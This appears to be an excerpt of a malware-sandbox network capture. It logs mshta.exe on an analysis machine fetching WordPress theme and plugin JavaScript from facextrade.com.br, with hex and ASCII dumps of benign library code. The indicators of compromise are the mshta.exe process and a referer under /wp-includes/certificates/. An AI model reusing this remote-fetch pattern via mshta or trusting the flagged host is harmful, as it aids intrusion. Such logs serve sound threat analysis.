67 2b 69 2c 6e 29 2c 74 2e 73 74 2e 63 61 6c 6c 62 61 63 6b 73 26 26 28 69 3d 69 2e 63 68 61 72 41 74 28 30 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2b 69 2e 73 6c 69 63 65 28 31 29 2c 74 2e 73 74 2e 63 61 6c 6c 62 61 63 6b 73 5b 69 5d 26 26 74 2e 73 74 2e 63 61 6c 6c 62 61 63 6b 73 5b 69 5d 2e 61 70 70 6c 79 28 74 2c 65 2e 69 73 41 72 72 61 79 28 6e 29 3f 6e 3a 5b 6e 5d 29 29 7d 2c 45 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 28 74 2e 73 74 2e 66 6f 63 75 73 3f 74 2e 63 6f 6e 74 65 6e 74 2e 66 69 6e 64 28 74 2e 73 74 2e 66 6f 63 75 73 29 2e 65 71 28 30 29 3a 74 2e 77 72 61 70 29 2e 74 72 69 67 67 65 72 28 22 66 6f 63 75 73 22 29 7d 2c 53 3d 66 75 6e 63 74 69 6f 6e 28 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 3d 73 26 26 74 2e 63 75 72 72 54 65 6d 70 6c 61 74 65 2e 63 6c 6f 73 65 42 74 6e 7c 7c 28 74 2e 63 75 72 72 54 65 6d 70 6c 61 74 65 2e 63 6c 6f 73 65 42 74 6e 3d 65 28 74 2e 73 74 2e 63 6c 6f 73 65 4d 61 72 6b 75 70 2e 72 65 70 6c 61 63 65 28 22 25 74 69 74 6c 65 25 22 2c 74 2e 73 74 2e 74 43 6c 6f 73 65 29 29 2c 73 3d 69 29 2c 74 2e 63 75 72 72 54 Data Ascii: /! Magnific Popup - v0.9.3 - 2013-07-16 http://dimsemenov.com/plugins/magnific-popup/* Copyright (c) 2013 Dmitry Semenov; */(function(e){var t,i,n,o,a,r,s,l="Close",c="BeforeClose",d="AfterClose",u="BeforeAppend",p="MarkupParse",f="Open",m="Change",g="mfp",v="."+g,h="mfp-ready",C="mfp-removing",y="mfp-prevent-close",w=function(){},b=!!window.jQuery,I=e(window),x=function(e,i){t.ev.on(g+e+v,i)},k=function(t,i,n,o){var a=document.createElement("div");return a.className="mfp-"+t,n&&(a.innerHTML=n),o?i&&i.appendChild(a):(a=e(a),i&&a.appendTo(i)),a},T=function(i,n){t.ev.triggerHandler(g+i,n),t.st.callbacks&&(i=i.charAt(0).toLowerCase()+i.slice(1),t.st.callbacks[i]&&t.st.callbacks[i].apply(t,e.isArray(n)?n:[n]))},E=function(){(t.st.focus?t.content.find(t.st.focus).eq(0):t.wrap).trigger("focus")},S=function(i){return i===s&&t.currTemplate.closeBtn\|\|(t.currTemplate.closeBtn=e(t.st.closeMarkup.replace("%title%",t.st.tClose)),s=i),t.currT
Aug 16, 2022 11:06:11.435751915 CEST	3786	OUT	GET /wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:06:11.677648067 CEST	3791	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:05:36 GMT Server: Apache ETag: "a53516-d453-58592d4a732c0" Last-Modified: Tue, 02 Apr 2019 21:29:23 GMT Content-Length: 54355 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20382230 16636790 Age: 35 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 0a 20 2a 20 6a 50 6c 61 79 65 72 20 50 6c 75 67 69 6e 20 66 6f 72 20 6a 51 75 65 72 79 20 4a 61 76 61 53 63 72 69 70 74 20 4c 69 62 72 61 72 79 0a 20 2a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 6a 70 6c 61 79 65 72 2e 6f 72 67 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 30 39 20 2d 20 32 30 31 34 20 48 61 70 70 79 77 6f 72 6d 20 4c 74 64 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 2e 0a 20 2a 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 0a 20 2a 0a 20 2a 20 41 75 74 68 6f 72 3a 20 4d 61 72 6b 20 4a 20 50 61 6e 61 67 68 69 73 74 6f 6e 0a 20 2a 20 56 65 72 73 69 6f 6e 3a 20 32 2e 36 2e 30 0a 20 2a 20 44 61 74 65 3a 20 32 6e 64 20 41 70 72 69 6c 20 32 30 31 34 0a 20 2a 2f 0a 0a 28 66 75 6e 63 74 69 6f 6e 28 62 2c 66 29 7b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 22 6a 71 75 65 72 79 22 5d 2c 66 29 3a 62 2e 6a 51 75 65 72 79 3f 66 28 62 2e 6a 51 75 65 72 79 29 3a 66 28 62 2e 5a 65 70 74 6f 29 7d 29 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 66 29 7b 62 2e 66 6e 2e 6a 50 6c 61 79 65 72 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 63 3d 22 73 74 72 69 6e 67 22 3d 3d 3d 74 79 70 65 6f 66 20 61 2c 64 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 61 72 67 75 6d 65 6e 74 73 2c 31 29 2c 65 3d 74 68 69 73 3b 61 3d 21 63 26 26 64 2e 6c 65 6e 67 74 68 3f 62 2e 65 78 74 65 6e 64 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 5b 21 30 2c 61 5d 2e 63 6f 6e 63 61 74 28 64 29 29 3a 61 3b 69 66 28 63 26 26 22 5f 22 3d 3d 3d 61 2e 63 68 61 72 41 74 28 30 29 29 72 65 74 75 72 6e 20 65 3b 63 3f 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 63 3d 62 28 74 68 69 73 29 2e 64 61 74 61 28 22 6a 50 6c 61 79 65 72 22 29 2c 68 3d 63 26 26 62 2e 69 73 46 75 6e 63 74 69 6f 6e 28 63 5b 61 5d 29 3f 63 5b 61 5d 2e 61 70 70 6c 79 28 63 2c 64 29 3a 63 3b 69 66 28 68 21 3d 3d 63 26 26 68 21 3d 3d 66 29 72 65 74 75 72 6e 20 65 3d 68 2c 21 31 7d 29 3a 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 63 3d 62 28 74 68 69 73 29 2e 64 61 74 61 28 22 6a 50 6c 61 79 65 72 22 29 3b 63 3f 63 2e 6f 70 74 69 6f 6e 28 61 7c 7c 0a 7b 7d 29 3a 62 28 74 68 69 73 29 2e 64 61 74 61 28 22 6a 50 6c 61 79 65 72 22 2c 6e 65 77 20 62 2e 6a 50 6c 61 79 65 72 28 61 2c 74 68 69 73 29 29 7d 29 3b 72 65 74 75 72 6e 20 65 7d 3b 62 2e 6a 50 6c 61 79 65 72 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 63 29 7b 69 66 28 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 29 7b 74 68 69 73 2e 65 6c 65 6d 65 6e 74 3d 62 28 63 29 3b 74 68 69 73 2e 6f 70 74 69 6f 6e 73 3d 62 2e 65 78 74 65 6e 64 28 21 30 2c 7b 7d 2c 74 68 69 73 2e 6f 70 74 69 Data Ascii: /* * jPlayer Plugin for jQuery JavaScript Library * http://www.jplayer.org * * Copyright (c) 2009 - 2014 Happyworm Ltd * Licensed under the MIT license. * http://opensource.org/licenses/MIT * * Author: Mark J Panaghiston * Version: 2.6.0 * Date: 2nd April 2014 */(function(b,f){"function"===typeof define&&define.amd?define(["jquery"],f):b.jQuery?f(b.jQuery):f(b.Zepto)})(this,function(b,f){b.fn.jPlayer=function(a){var c="string"===typeof a,d=Array.prototype.slice.call(arguments,1),e=this;a=!c&&d.length?b.extend.apply(null,[!0,a].concat(d)):a;if(c&&"_"===a.charAt(0))return e;c?this.each(function(){var c=b(this).data("jPlayer"),h=c&&b.isFunction(c[a])?c[a].apply(c,d):c;if(h!==c&&h!==f)return e=h,!1}):this.each(function(){var c=b(this).data("jPlayer");c?c.option(a\|\|{}):b(this).data("jPlayer",new b.jPlayer(a,this))});return e};b.jPlayer=function(a,c){if(arguments.length){this.element=b(c);this.options=b.extend(!0,{},this.opti
Aug 16, 2022 11:06:11.858120918 CEST	3847	OUT	GET /wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:06:12.100059986 CEST	3852	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:05:38 GMT Server: Apache ETag: "a53555-2a0a-58592d4a732c0" Last-Modified: Tue, 02 Apr 2019 21:29:23 GMT Content-Length: 10762 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20382231 16636798 Age: 34 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 2e 66 6e 2e 7a 41 63 63 6f 72 64 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 64 3d 7b 74 69 6d 65 6f 75 74 3a 36 30 30 30 2c 77 69 64 74 68 3a 6e 75 6c 6c 2c 73 6c 69 64 65 57 69 64 74 68 3a 6e 75 6c 6c 2c 74 61 62 57 69 64 74 68 3a 6e 75 6c 6c 2c 68 65 69 67 68 74 3a 6e 75 6c 6c 2c 73 74 61 72 74 69 6e 67 53 6c 69 64 65 3a 30 2c 73 6c 69 64 65 43 6c 61 73 73 3a 6e 75 6c 6c 2c 65 61 73 69 6e 67 3a 6e 75 6c 6c 2c 73 70 65 65 64 3a 31 32 30 30 2c 61 75 74 6f 3a 74 72 75 65 2c 74 72 69 67 67 65 72 3a 22 63 6c 69 63 6b 22 2c 70 61 75 73 65 3a 74 72 75 65 2c 69 6e 76 65 72 74 3a 66 61 6c 73 65 2c 61 6e 69 6d 61 74 69 6f 6e 53 74 61 72 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 61 6e 69 6d 61 74 69 6f 6e 43 6f 6d 70 6c 65 74 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 62 75 69 6c 64 43 6f 6d 70 6c 65 74 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 65 72 72 6f 72 73 3a 66 61 6c 73 65 7d 2c 63 3d 7b 64 69 73 70 6c 61 79 45 72 72 6f 72 3a 66 75 6e 63 74 69 6f 6e 28 67 2c 66 29 7b 69 66 28 77 69 6e 64 6f 77 2e 63 6f 6e 73 6f 6c 65 26 26 66 29 7b 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 7a 41 63 63 6f 72 64 69 6f 6e 3a 20 22 2b 67 2b 22 2e 22 29 7d 7d 2c 66 69 6e 64 43 68 69 6c 64 45 6c 65 6d 65 6e 74 73 3a 66 75 6e 63 74 69 6f 6e 28 66 29 7b 69 66 28 66 2e 63 68 69 6c 64 72 65 6e 28 29 2e 67 65 74 28 30 29 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 7b 72 65 74 75 72 6e 20 66 61 6c 73 65 7d 65 6c 73 65 7b 72 65 74 75 72 6e 20 74 72 75 65 7d 7d 2c 67 65 74 4e 65 78 74 3a 66 75 6e 63 74 69 6f 6e 28 67 2c 68 29 7b 76 61 72 20 66 3d 68 2b 31 3b 69 66 28 66 3e 3d 67 29 7b 66 3d 30 7d 72 65 74 75 72 6e 20 66 7d 2c 66 69 78 48 65 69 67 68 74 3a 66 75 6e 63 74 69 6f 6e 28 66 29 7b 69 66 28 28 66 2e 68 65 69 67 68 74 3d 3d 3d 6e 75 6c 6c 29 26 26 28 66 2e 73 6c 69 64 65 48 65 69 67 68 74 21 3d 3d 75 6e 64 65 66 69 6e 65 64 29 29 7b 66 2e 68 65 69 67 68 74 3d 66 2e 73 6c 69 64 65 48 65 69 67 68 74 3b 72 65 74 75 72 6e 20 74 72 75 65 7d 65 6c 73 65 7b 69 66 28 28 66 2e 68 65 69 67 68 74 21 3d 3d 6e 75 6c 6c 29 26 26 28 66 2e 73 6c 69 64 65 48 65 69 67 68 74 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 29 7b 72 65 74 75 72 6e 20 74 72 75 65 7d 65 6c 73 65 7b 69 66 28 28 66 2e 68 65 69 67 68 74 3d 3d 3d 6e 75 6c 6c 29 26 26 28 66 2e 73 6c 69 64 65 48 65 69 67 68 74 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 29 7b 72 65 74 75 72 6e 20 66 61 6c 73 65 7d 7d 7d 7d 2c 67 65 74 55 6e 69 74 73 3a 66 75 6e 63 74 69 6f 6e 28 66 29 7b 69 66 28 66 21 3d 3d 6e 75 6c 6c 29 7b 69 66 28 66 2e 74 6f 53 74 72 69 6e 67 28 29 2e 69 6e 64 65 78 4f 66 28 22 25 22 29 3e 2d 31 29 7b 72 65 74 75 72 6e 22 25 22 7d 65 6c 73 65 7b 69 66 28 66 2e 74 6f 53 74 72 69 6e 67 28 29 2e 69 6e 64 65 78 4f 66 28 22 70 78 22 29 3e 2d 31 29 7b 72 65 74 75 72 6e 22 70 78 22 7d 65 6c 73 65 7b 72 65 74 75 72 6e Data Ascii: (function(a){a.fn.zAccordion=function(e){var d={timeout:6000,width:null,slideWidth:null,tabWidth:null,height:null,startingSlide:0,slideClass:null,easing:null,speed:1200,auto:true,trigger:"click",pause:true,invert:false,animationStart:function(){},animationComplete:function(){},buildComplete:function(){},errors:false},c={displayError:function(g,f){if(window.console&&f){console.log("zAccordion: "+g+".")}},findChildElements:function(f){if(f.children().get(0)===undefined){return false}else{return true}},getNext:function(g,h){var f=h+1;if(f>=g){f=0}return f},fixHeight:function(f){if((f.height===null)&&(f.slideHeight!==undefined)){f.height=f.slideHeight;return true}else{if((f.height!==null)&&(f.slideHeight===undefined)){return true}else{if((f.height===null)&&(f.slideHeight===undefined)){return false}}}},getUnits:function(f){if(f!==null){if(f.toString().indexOf("%")>-1){return"%"}else{if(f.toString().indexOf("px")>-1){return"px"}else{return
Aug 16, 2022 11:06:12.147330999 CEST	3864	OUT	GET /wp-includes/js/wp-embed.min.js?ver=4.9.20 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:06:12.389070988 CEST	3899	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:05:39 GMT Server: Apache ETag: "a55f36-56f-5c001a3bfb868" Last-Modified: Thu, 15 Apr 2021 12:02:38 GMT Content-Length: 1391 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20382232 16636802 Age: 33 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 65 3d 21 31 2c 6e 3d 21 31 3b 69 66 28 64 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 69 66 28 63 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 29 65 3d 21 30 3b 69 66 28 63 2e 77 70 3d 63 2e 77 70 7c 7c 7b 7d 2c 21 63 2e 77 70 2e 72 65 63 65 69 76 65 45 6d 62 65 64 4d 65 73 73 61 67 65 29 69 66 28 63 2e 77 70 2e 72 65 63 65 69 76 65 45 6d 62 65 64 4d 65 73 73 61 67 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 64 61 74 61 3b 69 66 28 74 29 69 66 28 74 2e 73 65 63 72 65 74 7c 7c 74 2e 6d 65 73 73 61 67 65 7c 7c 74 2e 76 61 6c 75 65 29 69 66 28 21 2f 5b 5e 61 2d 7a 41 2d 5a 30 2d 39 5d 2f 2e 74 65 73 74 28 74 2e 73 65 63 72 65 74 29 29 7b 66 6f 72 28 76 61 72 20 72 2c 61 2c 69 2c 73 3d 64 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 27 69 66 72 61 6d 65 5b 64 61 74 61 2d 73 65 63 72 65 74 3d 22 27 2b 74 2e 73 65 63 72 65 74 2b 27 22 5d 27 29 2c 6e 3d 64 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 27 62 6c 6f 63 6b 71 75 6f 74 65 5b 64 61 74 61 2d 73 65 63 72 65 74 3d 22 27 2b 74 2e 73 65 63 72 65 74 2b 27 22 5d 27 29 2c 6f 3d 30 3b 6f 3c 6e 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 6e 5b 6f 5d 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 6e 6f 6e 65 22 3b 66 6f 72 28 6f 3d 30 3b 6f 3c 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 69 66 28 72 3d 73 5b 6f 5d 2c 65 2e 73 6f 75 72 63 65 3d 3d 3d 72 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 29 7b 69 66 28 72 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 22 73 74 79 6c 65 22 29 2c 22 68 65 69 67 68 74 22 3d 3d 3d 74 2e 6d 65 73 73 61 67 65 29 7b 69 66 28 31 65 33 3c 28 69 3d 70 61 72 73 65 49 6e 74 28 74 2e 76 61 6c 75 65 2c 31 30 29 29 29 69 3d 31 65 33 3b 65 6c 73 65 20 69 66 28 7e 7e 69 3c 32 30 30 29 69 3d 32 30 30 3b 72 2e 68 65 69 67 68 74 3d 69 7d 69 66 28 22 6c 69 6e 6b 22 3d 3d 3d 74 2e 6d 65 73 73 61 67 65 29 69 66 28 61 3d 64 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 61 22 29 2c 69 3d 64 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 61 22 29 2c 61 2e 68 72 65 66 3d 72 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 29 2c 69 2e 68 72 65 66 3d 74 2e 76 61 6c 75 65 2c 69 2e 68 6f 73 74 3d 3d 3d 61 2e 68 6f 73 74 29 69 66 28 64 2e 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 3d 3d 72 29 63 2e 74 6f 70 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 74 2e 76 61 6c 75 65 7d 7d 7d 2c 65 29 63 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6d 65 73 73 61 67 65 22 2c 63 2e 77 70 2e 72 65 63 65 69 76 65 45 6d 62 65 64 4d 65 73 73 61 67 65 2c 21 31 29 2c 64 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 74 2c 21 31 29 2c 63 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6c 6f 61 64 22 2c 74 2c 21 31 29 3b 66 75 6e 63 74 69 6f 6e 20 74 28 29 7b 69 66 28 21 6e 29 7b 6e 3d 21 30 3b 66 6f 72 28 76 61 72 20 Data Ascii: !function(c,d){"use strict";var e=!1,n=!1;if(d.querySelector)if(c.addEventListener)e=!0;if(c.wp=c.wp\|\|{},!c.wp.receiveEmbedMessage)if(c.wp.receiveEmbedMessage=function(e){var t=e.data;if(t)if(t.secret\|\|t.message\|\|t.value)if(!/[^a-zA-Z0-9]/.test(t.secret)){for(var r,a,i,s=d.querySelectorAll('iframe[data-secret="'+t.secret+'"]'),n=d.querySelectorAll('blockquote[data-secret="'+t.secret+'"]'),o=0;o<n.length;o++)n[o].style.display="none";for(o=0;o<s.length;o++)if(r=s[o],e.source===r.contentWindow){if(r.removeAttribute("style"),"height"===t.message){if(1e3<(i=parseInt(t.value,10)))i=1e3;else if(~~i<200)i=200;r.height=i}if("link"===t.message)if(a=d.createElement("a"),i=d.createElement("a"),a.href=r.getAttribute("src"),i.href=t.value,i.host===a.host)if(d.activeElement===r)c.top.location.href=t.value}}},e)c.addEventListener("message",c.wp.receiveEmbedMessage,!1),d.addEventListener("DOMContentLoaded",t,!1),c.addEventListener("load",t,!1);function t(){if(!n){n=!0;for(var

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.4	49796	187.45.240.69	80	C:\Windows\SysWOW64\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:06:08.688158035 CEST	2692	OUT	GET /wp-content/plugins/cherry-plugin/lib/js/FlexSlider/jquery.flexslider-min.js?ver=2.2.2 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:06:08.901918888 CEST	2707	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:05:30 GMT Server: Apache ETag: "a4fac1-5486-58592f81e2d80" Last-Modified: Tue, 02 Apr 2019 21:39:18 GMT Content-Length: 21638 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 23437430 16636762 Age: 38 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 0a 20 2a 20 6a 51 75 65 72 79 20 46 6c 65 78 53 6c 69 64 65 72 20 76 32 2e 32 2e 32 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 32 20 57 6f 6f 54 68 65 6d 65 73 0a 20 2a 20 43 6f 6e 74 72 69 62 75 74 69 6e 67 20 41 75 74 68 6f 72 3a 20 54 79 6c 65 72 20 53 6d 69 74 68 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 2e 66 6c 65 78 73 6c 69 64 65 72 3d 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 61 28 62 29 3b 64 2e 76 61 72 73 3d 61 2e 65 78 74 65 6e 64 28 7b 7d 2c 61 2e 66 6c 65 78 73 6c 69 64 65 72 2e 64 65 66 61 75 6c 74 73 2c 63 29 3b 76 61 72 20 6a 2c 65 3d 64 2e 76 61 72 73 2e 6e 61 6d 65 73 70 61 63 65 2c 66 3d 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 26 26 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 2e 6d 73 50 6f 69 6e 74 65 72 45 6e 61 62 6c 65 64 26 26 77 69 6e 64 6f 77 2e 4d 53 47 65 73 74 75 72 65 2c 67 3d 28 22 6f 6e 74 6f 75 63 68 73 74 61 72 74 22 69 6e 20 77 69 6e 64 6f 77 7c 7c 66 7c 7c 77 69 6e 64 6f 77 2e 44 6f 63 75 6d 65 6e 74 54 6f 75 63 68 26 26 64 6f 63 75 6d 65 6e 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 44 6f 63 75 6d 65 6e 74 54 6f 75 63 68 29 26 26 64 2e 76 61 72 73 2e 74 6f 75 63 68 2c 68 3d 22 63 6c 69 63 6b 20 74 6f 75 63 68 65 6e 64 20 4d 53 50 6f 69 6e 74 65 72 55 70 22 2c 69 3d 22 22 2c 6b 3d 22 76 65 72 74 69 63 61 6c 22 3d 3d 3d 64 2e 76 61 72 73 2e 64 69 72 65 63 74 69 6f 6e 2c 6c 3d 64 2e 76 61 72 73 2e 72 65 76 65 72 73 65 2c 6d 3d 64 2e 76 61 72 73 2e 69 74 65 6d 57 69 64 74 68 3e 30 2c 6e 3d 22 66 61 64 65 22 3d 3d 3d 64 2e 76 61 72 73 2e 61 6e 69 6d 61 74 69 6f 6e 2c 6f 3d 22 22 21 3d 3d 64 2e 76 61 72 73 2e 61 73 4e 61 76 46 6f 72 2c 70 3d 7b 7d 2c 71 3d 21 30 3b 61 2e 64 61 74 61 28 62 2c 22 66 6c 65 78 73 6c 69 64 65 72 22 2c 64 29 2c 70 3d 7b 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 64 2e 61 6e 69 6d 61 74 69 6e 67 3d 21 31 2c 64 2e 63 75 72 72 65 6e 74 53 6c 69 64 65 3d 70 61 72 73 65 49 6e 74 28 64 2e 76 61 72 73 2e 73 74 61 72 74 41 74 3f 64 2e 76 61 72 73 2e 73 74 61 72 74 41 74 3a 30 2c 31 30 29 2c 69 73 4e 61 4e 28 64 2e 63 75 72 72 65 6e 74 53 6c 69 64 65 29 26 26 28 64 2e 63 75 72 72 65 6e 74 53 6c 69 64 65 3d 30 29 2c 64 2e 61 6e 69 6d 61 74 69 6e 67 54 6f 3d 64 2e 63 75 72 72 65 6e 74 53 6c 69 64 65 2c 64 2e 61 74 45 6e 64 3d 30 3d 3d 3d 64 2e 63 75 72 72 65 6e 74 53 6c 69 64 65 7c 7c 64 2e 63 75 72 72 65 6e 74 53 6c 69 64 65 3d 3d 3d 64 2e 6c 61 73 74 2c 64 2e 63 6f 6e 74 61 69 6e 65 72 53 65 6c 65 63 74 6f 72 3d 64 2e 76 61 72 73 2e 73 65 6c 65 63 74 6f 72 2e 73 75 62 73 74 72 28 30 2c 64 2e 76 61 72 73 2e 73 65 6c 65 63 74 6f 72 2e 73 65 61 72 63 68 28 22 20 22 29 29 2c 64 2e 73 6c 69 64 65 73 3d 61 28 64 2e 76 61 72 73 2e 73 65 6c 65 63 74 6f 72 2c 64 29 2c 64 2e 63 6f 6e 74 61 69 6e 65 72 3d 61 28 64 2e 63 6f 6e 74 61 69 6e 65 72 53 65 6c 65 63 74 6f 72 2c 64 29 2c 64 2e 63 6f Data Ascii: /* * jQuery FlexSlider v2.2.2 * Copyright 2012 WooThemes * Contributing Author: Tyler Smith */!function(a){a.flexslider=function(b,c){var d=a(b);d.vars=a.extend({},a.flexslider.defaults,c);var j,e=d.vars.namespace,f=window.navigator&&window.navigator.msPointerEnabled&&window.MSGesture,g=("ontouchstart"in window\|\|f\|\|window.DocumentTouch&&document instanceof DocumentTouch)&&d.vars.touch,h="click touchend MSPointerUp",i="",k="vertical"===d.vars.direction,l=d.vars.reverse,m=d.vars.itemWidth>0,n="fade"===d.vars.animation,o=""!==d.vars.asNavFor,p={},q=!0;a.data(b,"flexslider",d),p={init:function(){d.animating=!1,d.currentSlide=parseInt(d.vars.startAt?d.vars.startAt:0,10),isNaN(d.currentSlide)&&(d.currentSlide=0),d.animatingTo=d.currentSlide,d.atEnd=0===d.currentSlide\|\|d.currentSlide===d.last,d.containerSelector=d.vars.selector.substr(0,d.vars.selector.search(" ")),d.slides=a(d.vars.selector,d),d.container=a(d.containerSelector,d),d.co
Aug 16, 2022 11:06:08.901983976 CEST	2708	IN	Data Raw: 75 6e 74 3d 64 2e 73 6c 69 64 65 73 2e 6c 65 6e 67 74 68 2c 64 2e 73 79 6e 63 45 78 69 73 74 73 3d 61 28 64 2e 76 61 72 73 2e 73 79 6e 63 29 2e 6c 65 6e 67 74 68 3e 30 2c 22 73 6c 69 64 65 22 3d 3d 3d 64 2e 76 61 72 73 2e 61 6e 69 6d 61 74 69 6f Data Ascii: unt=d.slides.length,d.syncExists=a(d.vars.sync).length>0,"slide"===d.vars.animation&&(d.vars.animation="swing"),d.prop=k?"top":"marginLeft",d.args={},d.manualPause=!1,d.stopped=!1,d.started=!1,d.startTimeout=null,d.transitions=!d.vars.video&&!
